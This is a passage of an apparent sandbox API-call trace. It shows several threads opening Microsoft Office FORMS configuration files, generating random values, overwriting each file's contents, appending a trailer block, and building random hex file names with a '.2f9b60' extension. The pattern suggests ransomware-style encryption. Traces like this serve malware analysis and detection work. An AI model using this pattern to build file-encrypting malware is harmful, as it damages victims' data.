Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551.2f9b60" [0207.198] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551.2f9b60", NtPathName=0x2af5fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x431293e0 Thread: id = 2652 os_tid = 0x21dc [0157.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 0x20 [0157.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG", dwFileAttributes=0x20) returned 1 [0157.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x578 [0157.234] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2e9afc40 | out: lpFileSize=0x2e9afc40*=835) returned 1 [0157.234] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x33f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.234] ReadFile (in: hFile=0x578, lpBuffer=0x2e9afbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e9afc08, lpOverlapped=0x0 | out: lpBuffer=0x2e9afbc0*, lpNumberOfBytesRead=0x2e9afc08*=0x4, lpOverlapped=0x0) returned 1 [0157.236] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1070 [0157.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1100 [0157.237] NtQuerySystemTime (in: CurrentTime=0x2e9afb00 | out: CurrentTime=0x2e9afb00*=132462177623722000) returned 0x0 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7be1cd0f [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0xa55abac [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x4a28c408 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x3b96fde2 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x305cce55 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0xcb7f02a [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7214596d [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x1447c72d [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x3d649403 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7a91b609 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x3884a533 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x9cbdb8 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x6f4bdb6c [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x3602cded [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x4f0108bc [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x532ee350 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x129b53dd [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7cce3b47 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x623b6767 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x2e72405b [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x2223eea1 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7bd532bd [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x16d40c63 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x17d2ba78 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x146d49c6 [0157.237] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x1372bd6d [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x21eeae17 [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x57211a60 [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x62c0b1fe [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x7d041611 [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x1097e269 [0157.238] RtlRandomEx (in: Seed=0x2e9afaf0 | out: Seed=0x2e9afaf0) returned 0x79783ecd [0157.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1130 [0157.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec68a0 [0157.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1160 [0157.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec68a0) returned 1 [0157.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1100) returned 1 [0157.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19450 [0157.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec68a0 [0157.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b049e0 [0157.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b085f0 [0157.257] ReadFile (in: hFile=0x578, lpBuffer=0x42b049e0, nNumberOfBytesToRead=0x343, lpNumberOfBytesRead=0x2e9afaf0, lpOverlapped=0x0 | out: lpBuffer=0x42b049e0*, lpNumberOfBytesRead=0x2e9afaf0*=0x343, lpOverlapped=0x0) returned 1 [0157.257] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.257] WriteFile (hFile=0x578, lpBuffer=0x42b085f0, nNumberOfBytesToWrite=0x343, lpNumberOfBytesWritten=0x2e9afaf4, lpOverlapped=0x0) [0186.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec99b0 [0186.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec99e0 [0186.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec99e0) returned 1 [0186.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b085f0) returned 1 [0186.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b049e0) returned 1 [0186.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec68a0) returned 1 [0186.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19450) returned 1 [0186.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec99e0 [0186.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19450 [0186.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec68a0 [0186.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9a10 [0186.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9a10) returned 1 [0186.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9a10 [0186.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9a40 [0186.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9a70 [0186.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9a70) returned 1 [0186.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec68a0) returned 1 [0186.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19450) returned 1 [0186.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101020 [0186.469] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.469] WriteFile (in: hFile=0x578, lpBuffer=0x43101020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e9afc10, lpOverlapped=0x0 | out: lpBuffer=0x43101020*, lpNumberOfBytesWritten=0x2e9afc10*=0x10a, lpOverlapped=0x0) returned 1 [0207.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f20 [0207.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0f20) returned 1 [0207.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f20 [0207.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ef0 [0207.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ef0) returned 1 [0207.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.191] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="90") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="14") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.191] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="75") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="9d") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="0a") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="36") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="63") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="5e") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="12") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="7d") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="5c") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="0a") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.192] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="11") returned 2 [0207.192] RtlInitAnsiString (in: DestinationString=0x2e9afc88, SourceString="902fcf148e3ab32c759de20a36dc635e127d5ceae20a1e11" | out: DestinationString="902fcf148e3ab32c759de20a36dc635e127d5ceae20a1e11") [0207.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e9afc58, SourceString="902fcf148e3ab32c759de20a36dc635e127d5ceae20a1e11", AllocateDestinationString=1 | out: DestinationString="902fcf148e3ab32c759de20a36dc635e127d5ceae20a1e11") returned 0x0 [0207.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8a30 [0207.192] wcscat (in: _Dest=0x431c7440, _Source="902fcf148e3a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a" [0207.192] wcscat (in: _Dest=0x431c7440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a.2f9b60" [0207.193] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a.2f9b60", NtPathName=0x2e9afc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\902fcf148e3a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43129320 Thread: id = 2653 os_tid = 0x21e0 [0157.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 0x20 [0157.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG", dwFileAttributes=0x20) returned 1 [0157.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10ac [0157.261] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2afff920 | out: lpFileSize=0x2afff920*=833) returned 1 [0157.261] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x33d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.262] ReadFile (in: hFile=0x10ac, lpBuffer=0x2afff8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2afff8e8, lpOverlapped=0x0 | out: lpBuffer=0x2afff8a0*, lpNumberOfBytesRead=0x2afff8e8*=0x4, lpOverlapped=0x0) returned 1 [0157.267] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1100 [0157.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1190 [0157.269] NtQuerySystemTime (in: CurrentTime=0x2afff7e0 | out: CurrentTime=0x2afff7e0*=132462177624034000) returned 0x0 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x1d37c221 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x7834461e [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x3c934edd [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x53b82ef9 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x466020dd [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x6f13c059 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0xecde2ff [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x3d180455 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x6c5aad6a [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x749659a6 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x676e0a0b [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x714584a3 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x2279a021 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x7be14a6d [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x234fdbe1 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x4f6225d7 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x6b19569a [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x2aff0eaa [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x1979386d [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x31141a37 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0xe410df3 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x77ae42ce [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x788c91e2 [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x7f6d04ab [0157.269] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x1d713214 [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x7e11917 [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x43b5e51c [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x458f9a [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x5b3bcc0b [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x2846b12b [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x69a2098c [0157.270] RtlRandomEx (in: Seed=0x2afff7d0 | out: Seed=0x2afff7d0) returned 0x4899779d [0157.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11c0 [0157.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6920 [0157.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac11f0 [0157.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6920) returned 1 [0157.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1190) returned 1 [0157.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0157.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6920 [0157.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b0c200 [0157.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b0fe10 [0157.285] ReadFile (in: hFile=0x10ac, lpBuffer=0x42b0c200, nNumberOfBytesToRead=0x341, lpNumberOfBytesRead=0x2afff7d0, lpOverlapped=0x0 | out: lpBuffer=0x42b0c200*, lpNumberOfBytesRead=0x2afff7d0*=0x341, lpOverlapped=0x0) returned 1 [0157.285] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.285] WriteFile (hFile=0x10ac, lpBuffer=0x42b0fe10, nNumberOfBytesToWrite=0x341, lpNumberOfBytesWritten=0x2afff7d4, lpOverlapped=0x0) [0186.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9a70 [0186.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9aa0 [0186.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9aa0) returned 1 [0186.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0fe10) returned 1 [0186.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0c200) returned 1 [0186.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6920) returned 1 [0186.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0186.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9aa0 [0186.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0186.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6920 [0186.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9ad0 [0186.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9ad0) returned 1 [0186.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9ad0 [0186.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9b00 [0186.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9b30 [0186.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9b30) returned 1 [0186.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6920) returned 1 [0186.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0186.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101140 [0186.475] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.475] WriteFile (in: hFile=0x10ac, lpBuffer=0x43101140*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2afff8f0, lpOverlapped=0x0 | out: lpBuffer=0x43101140*, lpNumberOfBytesWritten=0x2afff8f0*=0x10a, lpOverlapped=0x0) returned 1 [0207.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9800 [0207.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9800) returned 1 [0207.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9800 [0207.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97d0 [0207.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97d0) returned 1 [0207.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.210] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="40") returned 2 [0207.210] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="46") returned 2 [0207.210] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.210] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="62") returned 2 [0207.210] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="10") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="e5") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="ad") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="a6") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d04c, 